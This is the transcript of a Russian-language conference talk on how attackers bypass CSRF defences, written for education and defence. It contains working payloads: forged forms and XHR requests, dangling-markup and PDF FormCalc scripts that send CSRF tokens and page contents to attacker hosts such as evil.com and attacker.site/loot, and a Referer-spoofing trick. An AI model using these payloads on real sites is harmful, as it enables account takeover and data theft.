CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-приложении

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем
веб-приложении Михаил Егоров

Дисклеймер ИНФОРМАЦИЯ в данной презентации является сугубо мнением автора …
Crazy Russian hackers

О себе AppSec Engineer @ Ingram Micro Cloud Security researcher
& Bug hunter @0ang3el

Почему CSRF-атаки работают? Веб-приложение использует cookies для управления сессией пользователя!
Браузер автоматически отправляет cookies вместе с HTTP-запросом, даже cross-origin

Cookies Небольшой фрагмент данных, отправленный веб-сервером и хранимый на компьютере
пользователя, браузер всякий раз пересылает этот фрагмент данных веб-серверу в составе HTTP- запроса Сервер Клиент Set-Cookie: name=value; expires=date; path=/; domain=.example.org; secure; httponly; Cookie: name=newvalue;

Cookies До сих пор используются многими веб-приложениями для управления сессией
пользователя Впервые сookies появились в браузере Netscape в 1994 году

Классическая CSRF-атака POST /user/address/shipping HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11;
Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 43 city=Moscow&street=Prospekt+Mira&zip=12345

Классическая CSRF-атака <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://example.com/user/address/shipping" method="POST">
<input type="hidden" name="city" value="Moscow" /> <input type="hidden" name="street" value="Prospekt Mira" /> <input type="hidden" name="zip" value="12345" /> <input type="submit" value="Submit request" /> </form> </body> </html> https://attacker.com/csrf-form.html

Классическая CSRF-атака <script> var request = new XMLHttpRequest(); var data
= 'city=Moscow&street=Prosperkt+Mira&zip=12345'; request.open('POST', 'https://example.com/user/address/shipping', true); request.withCredentials = true; // INCLUDE COOKIES request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send(data); </script> https://attacker.com/csrf-xhr.html

Классическая CSRF-атака https://example.com https://attacker.com csrf-xhr.html

Классическая CSRF-атака https://example.com https://attacker.com https:/attacker.com/csrf-xhr.html csrf-xhr.html

Классическая CSRF-атака https://example.com https://attacker.com https:/attacker.com/csrf-xhr.html POST /user/address/shipping HTTP/1.1 HOST: example.com
Cookie: JSESSIONID=728F...

История CSRF-атак Эксплуатируются с 2001 года Публичные CSRF-уязвимости в популярных
проектах 2008-2012: 1. YouTube 2. The New York Times 3. Badoo 4. Slideshare 5. Vimeo 6. Hulu 7. КиноПоиск 8. …

Насколько серьезны CSRF-уязвимости Зависит от критичности уязвимого action’a  …
 Account takeover (смена email)  Privilege Escalation (создание нового пользователя с высокими правами)  Remote code execution (эксплуатация command injection в админке)

Насколько серьезны CSRF-уязвимости OWASP Top 10 - https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project не вошла
в Top 10 – 2017 (RC2) A8 – 2017 (RC1) A8 – 2013 А5 – 2010

Насколько серьезны CSRF-уязвимости Bugcrowd VRT - https://bugcrowd.com/vulnerability-rating-taxonomy * VRT –
Vulnerability Rating Taxonomy Application-wide CSRF – P2 (High)

Популярные варианты защиты от CSRF  CSRF token  Double
submit cookie  Content-Type based protection  Referer-based protection  Password confirmation (websudo)  SameSite Cookies (Chrome, Opera) You shall not pass!!! You shall not PASS!!!

Популярные варианты защиты от CSRF  CSRF token (1 из
6)  Уникальный и высокоэнтропийный токен для каждой пользовательской сессии  Токен вставляется в DOM или доступен через API  Пользователь должен отправить токен в параметре или хэдере запроса  Атакующий не знает токен → классическая CSRF-атака не работает

Популярные варианты защиты от CSRF  Double submit cookie (2
из 6)  Уникальный и высокоэнтропийный токен для каждой пользовательской сессии помещается в cookies  Пользователь должен отправить одинаковые значения в cookies и в параметре запроса  Атакующий не может изменить cookies → классическая CSRF- атака не работает

Популярные варианты защиты от CSRF  Content-Type based protection (3
из 6)  Пользователь должен отправить запрос с определенным заголовком Content-Type, например application/json  Браузер через форму или XHR не может отправить произвольный Content-Type cross-origin → классическая CSRF- атака не работает

Популярные варианты защиты от CSRF  Referer-based protection (4 из
6)  Пользователь должен отправить запрос с определенным заголовком Referer  Браузер не может отправить произвольный Referer через форму или XHR → классическая CSRF-атака не работает

Популярные варианты защиты от CSRF  Password confirmation / websudo
(5 из 6)  Действие либо доступ к критичному функционалу подтверждается вводом пароля (секрета)  Атакующий не знает пароля → классическая CSRF-атака не работает

Популярные варианты защиты от CSRF  SameSite Cookies в Chrome,
Opera (6 из 6)  Дополнительный атрибут у cookies – samesite (значения lax и strict)  Браузер не отправляет cookies, если запрос осуществляется с сайта атакующего → классическая CSRF-атака не работает

К сожалению… нередко бывает так

«Магия» обхода CSRF-защиты  XSS  Dangling markup  Vulnerable
subdomains  Cookie injection  Change Content-Type  Non-simple Content-Type  Bad PDF  Referer spoof А ты думал, я с тобой шутки шучу

Сценарий обхода – XSS (1 из 8) XSS (Cross-Site Scripting)
в приложении позволяет обойти большинство типов CSRF-защиты! Просто смирись c этим!!!

Когда есть HTML injection, но нет XSS (например, есть Content
Security Policy - CSP) Атакующий может заполучить CSRF-токен через Dangling markup injection Сценарий обхода – Dangling markup (2 из 8) <img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea>

Сценарий обхода – уязвимый субдомен (3 из 8) Один из
поддоменов foo.example.com уязвим к subdomain takeover или XSS Атакующий сможет обойти следующие типы CSRF-защиты:  CSRF tokens  Double submit cookie  Content-Type based protection

Приложение использует CORS (Cross-Origin Resource Sharing) для междоменного взаимодействия Атакующий
сможет прочитать CSRF-токен Access-Control-Allow-Origin: https://foo.example.com Access-Control-Allow-Credentials: true Сценарий обхода – уязвимый субдомен (3 из 8)

На основном домене есть crossdomain.xml который разрешает взаимодействие для субдоменов
Атакующий может загрузить файл с JS на foo.example.com Пример - https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/ <cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy> Сценарий обхода – уязвимый субдомен (3 из 8)

Атакующий может использовать Service Worker для субдомена foo.example.com Через SWF
атакующий сможет прочитать CSRF-токен! var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); } Сценарий обхода – уязвимый субдомен (3 из 8)

Атакующий сможет установить cookie для родительского домена на интересующий path
Браузер выберет cookie с самым длинным path Тем самым атакующий сможет обойти защиту Double submit cookie Сценарий обхода – уязвимый субдомен (3 из 8)

Сценарий обхода – bad PDF (4 из 8) PDF plugin
от Adobe поддерживает FormCalc PDF plugin от Adobe работает в IE11 и Firefox ESR В FormCalc есть методы get() и post() Атакующий получает CSRF-токен жертвы

Сценарий обхода – bad PDF (4 из 8) Допустим, у
нас есть возможность загрузить PDF в веб- приложение (можно загрузить PDF как файл другого формата – картинкy ) У приложения есть API на интересующем домене, которое позволяет получать содержимое загруженного PDF

Сценарий обхода – bad PDF (4 из 8) <h1>Nothing to
see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'> https://attacker.com/csrf-badpdf.html

Сценарий обхода – bad PDF (4 из 8) <script contentType='application/x-formcalc'>
var content = GET("https://example.com/Settings.action"); Post("http://attacker.site/loot",content,"text/plain"); </script> leak.pdf

Сценарий обхода – bad PDF (4 из 8) Фокус в
том, что для PDF plugin не важен Content-Type и другие заголовки (например, Content-Disposition)!

Сценарий обхода – cookie injection (5 из 8) Атакующий в
результате сookie injection сможет обойти защиту Double submit cookie Варианты cookie injection  CRLF injection  Особенности обработки cookie браузером – comma-separated cookies (Safari)  Баги браузера (например, CVE-2016-9078 в FF)

Сценарий обхода – change Content-Type (6 из 8) Некоторые считают,
что нестандартный формат данных в теле POST-запроса спасает от CSRF !? SRSLY?

POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64;
rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43 �addNote � � r � Сценарий обхода – change Content-Type (6 из 8)

Сценарий обхода – non-simple Content-Type (7 из 8) Валидные значения
content type, которые можно отправить из HTML-формы и через XHR без OPTIONS preflight - aka simple content types  text/plain  application/x-www-form-urlencoded  multipart/form-data

Как отправить произвольный Content-Type:  Баги в браузерах (например, Navigator.sendBeacon)
 Flash plugin + 307 redirect  PDF plugin + 307 redirect  Некоторые фреймворки поддерживают URL- параметры для переопределения Content-Type http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging Сценарий обхода – non-simple Content-Type (7 из 8)

Баг в Chrome - https://bugs.chromium.org/p/chromium/issues/detail?id=490015 Можно было эксплуатировать с 2015
по 07.2017    Navigator.sendBeacon() позволял отправить POST-запрос с любым Content-Type на другой origin Сценарий обхода – non-simple Content-Type (7 из 8)

Как это работает - http://research.rootme.in/forging-content-type-header-with-flash/ Сценарий обхода – non-simple Content-Type
(7 из 8)

Сценарий обхода – spoof Referer (8 из 8) Баг в
Edge - https://www.brokenbrowser.com/referer-spoofing-patch-bypass/ Еще работает  Ho работает только для GET-запросов 

Сценарий обхода – spoof Referer (8 из 8) <script contentType='application/x-formcalc'>
Post("http://attacker.com:8888/redirect", "{""action"":""add-user-email"",""Email"":""[email protected]""}", "application/json
Referer; http://example.com") </script>

Сценарий обхода – spoof Referer (8 из 8) В бэкенд
будет отправлен header Некоторые серверы воспринимают пробел как конец имени HTTP-заголовка (например, WildFly или Jboss) – т.е. двоеточие `:` Referer http://example.com Имя :Значение Referer http://example.com Имя :Значение

Обход CSRF-защиты – Итог CSRF Tokens Double Submit Cookie CT-based
Referer-based SameSite Cookies XSS All All All All All Dangling markup All - - - All* Subdomain issues All All All - All* Cookie Injection - All - - All* Change CT - - All - All* Non-simple CT - - All with Flash plugin, IE11/FF ESR with Pdf plugin - All* Bad Pdf IE11/FF ESR with Pdf plugin - IE11/FF ESR with Pdf plugin - All* Spoof Referer - - - IE11/FF ESR with Pdf plugin, Edge All* All – works for all browsers All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera)

Как все-таки правильно защититься от CSRF Не использовать cookies для
управления пользовательской сессией

Как все-таки правильно защититься от CSRF … eсли не можете
отказаться от cookies  Моделируйте угрозы и проверяйте реализацию (см. Итоговую таблицу)  Имплементируйте SameSite Cookies  Комбинируйте различные CSRF-защиты – defense in depth  Спрашивайте у пользователя пароль для выполнения критичных action’ов  Отдавайте загружаемые файлы с отдельного домена

CSRF-уязвимости все еще актуальны: как атакующи...

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-приложении

More Decks by Mikhail Egorov

Other Decks in Programming

Featured

Transcript